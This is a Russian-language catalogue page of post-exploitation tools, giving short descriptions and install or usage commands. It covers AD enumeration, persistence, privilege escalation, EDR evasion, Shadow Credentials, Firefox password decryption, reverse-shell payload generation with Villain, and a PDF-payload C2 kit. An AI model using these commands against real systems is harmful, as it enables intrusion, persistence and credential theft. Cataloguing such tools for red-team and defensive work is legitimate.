Post-Exploitation

v2.13.0

Post-Exploitation

Коллектор данных для BloodHound: собирает информацию об Active Directory — пользователи, группы, компьютеры, сессии, ACL, GPO, trust relationships. Работает как C#-агент в домене. Вывод в формате JSON/ZIP для …

GitHub Docs Forgejo Mirror

# Скачать с GitHub Releases: # https://github.com/BloodHoundAD/SharpHound/releases SharpHound.exe -c All SharpHound.exe -c DCOnly # быстрый режим, только DC SharpHound.exe -c All --stealth # скрытный режим # Через PowerShell: Import-Module ./SharpHound.ps1 Invoke-BloodHound -CollectionMethod All

admin ★ 1.3k

SharpStay

Post-Exploitation

.NET-инструмент для установки механизмов персистентности в Windows.

GitHub Forgejo Mirror

git clone https://github.com/0xthirteen/SharpStay.git # Visual Studio: открыть SharpStay.sln -> Build # или командная строка: dotnet build SharpStay.csproj # Готовая DLL также входит в состав StayKit (Cobalt Strike aggressor)

admin ★ 500

SharpUp

Post-Exploitation

C#-порт функциональности PowerUp для поиска векторов повышения привилегий в Windows.

GitHub Forgejo Mirror

git clone https://github.com/GhostPack/SharpUp.git # Visual Studio: открыть SharpUp.sln -> Build # или командная строка: dotnet build SharpUp.csproj # Готовый EXE доступен в GitHub Releases

admin ★ 1.5k

Snaffler

v1.0.244

Post-Exploitation

Инструмент для обнаружения файловых ресурсов в сети Windows — помогает находить потенциально открытые файлы и учётные данные.

GitHub Forgejo Mirror

git clone https://github.com/SnaffCon/Snaffler.git cd Snaffler dotnet build -c Release

admin ★ 2.9k

StandIn

v1.3

Post-Exploitation

Небольшой пост-эксплуатационный набор для Active Directory на .NET 3.5/4.5.

GitHub Forgejo Mirror

git clone https://github.com/FuzzySecurity/StandIn.git # Visual Studio: открыть StandIn.sln -> Build # или командная строка: dotnet build StandIn.csproj # Готовый EXE доступен в GitHub Releases

admin ★ 873

SysWhispers3

Post-Exploitation

Генератор заголовочных и ассемблерных файлов для прямых системных вызовов Windows, применяется для обхода перехватов AV/EDR на уровне user-mode API.

GitHub Forgejo Mirror

git clone https://github.com/klezVirus/SysWhispers3.git cd SysWhispers3 python .\syswhispers.py --help

admin ★ 1.7k

Villain

vV2.2.1

Post-Exploitation

Многосессионный C2-фреймворк для Windows и Linux reverse shell-ов. Генерирует обфусцированные payload-ы для PowerShell, Bash и других шеллов, управляет несколькими сессиями одновременно, поддерживает peer-to-peer связь между teamserver-ами. Лёгкий и …

GitHub Forgejo Mirror

git clone https://github.com/t3l3machus/Villain cd Villain pip3 install -r requirements.txt # Запуск сервера: sudo python3 Villain.py # Генерация payload (внутри Villain): # villain > generate os=windows lhost=192.168.1.100 obfuscate # villain > generate os=linux lhost=192.168.1.100 # Подключение teamservers: # villain > connect 192.168.1.200 65001

admin ★ 4.4k

Whisker

Post-Exploitation

C#-инструмент для захвата учётных записей пользователей и компьютеров Active Directory через манипуляцию атрибутом msDS-KeyCredentialLink ('Shadow Credentials').

GitHub Forgejo Mirror

git clone https://github.com/eladshamir/Whisker.git # Visual Studio: открыть Whisker.sln -> Build # или командная строка: dotnet build Whisker.csproj # Готовый EXE доступен в GitHub Releases

admin ★ 956

firepwd

Post-Exploitation

Инструмент на Python для расшифровки сохранённых паролей Firefox и Thunderbird (key3.db/key4.db + signons.sqlite/logins.json) без необходимости запускать сам браузер. Полезен при пост-эксплуатации для извлечения credentials с скомпрометированной машины.

GitHub

git clone https://github.com/lclevy/firepwd.git cd firepwd pip install pycryptodome pyasn1 python firepwd.py -d /path/to/firefox/profile

admin ★ 763

pdfpwn

Post-Exploitation

Минималистичный набор bash-скриптов для запуска C2-кампании силами Red Team с минимумом инструментов: разворачивает TLS-сервер для шифрования пейлоада на канале, генерирует пейлоад внутри PDF и на целевой машине разворачивает …

Forgejo Mirror (recovered)

git clone https://git.toolsofthetrade.qzz.io/recovered/pdfpwn.git cd pdfpwn # На атакующей машине (один раз): ./tlsserver.sh ./pdfgen.sh # На целевой машине: ./pdfpwn.sh

admin ★ 0

pspy

v1.2.1

Post-Exploitation

Мониторинг процессов Linux без root-доступа. Перехватывает procfs-события в реальном времени — видит все запускаемые процессы, их аргументы и переменные окружения. Незаменим для обнаружения cron-задач, скриптов запускаемых от root …

GitHub Forgejo Mirror

# Скачать готовый статически скомпилированный бинарь: # https://github.com/DominicBreuker/pspy/releases # x64: wget https://github.com/DominicBreuker/pspy/releases/latest/download/pspy64 chmod +x pspy64 ./pspy64 # Только процессы (без файловых событий): ./pspy64 -p # Сборка из исходников: git clone https://github.com/DominicBreuker/pspy cd pspy && go build -ldflags "-s -w" .

admin ★ 6.2k

ptai (pentest-ai)

v1.4.0

Post-Exploitation

ИИ-пентестер для веб-приложений, подтверждающий каждую находку через машинные оракулы.

GitHub Forgejo Mirror

pipx install ptai

admin ★ 1.7k

Категории

Сортировка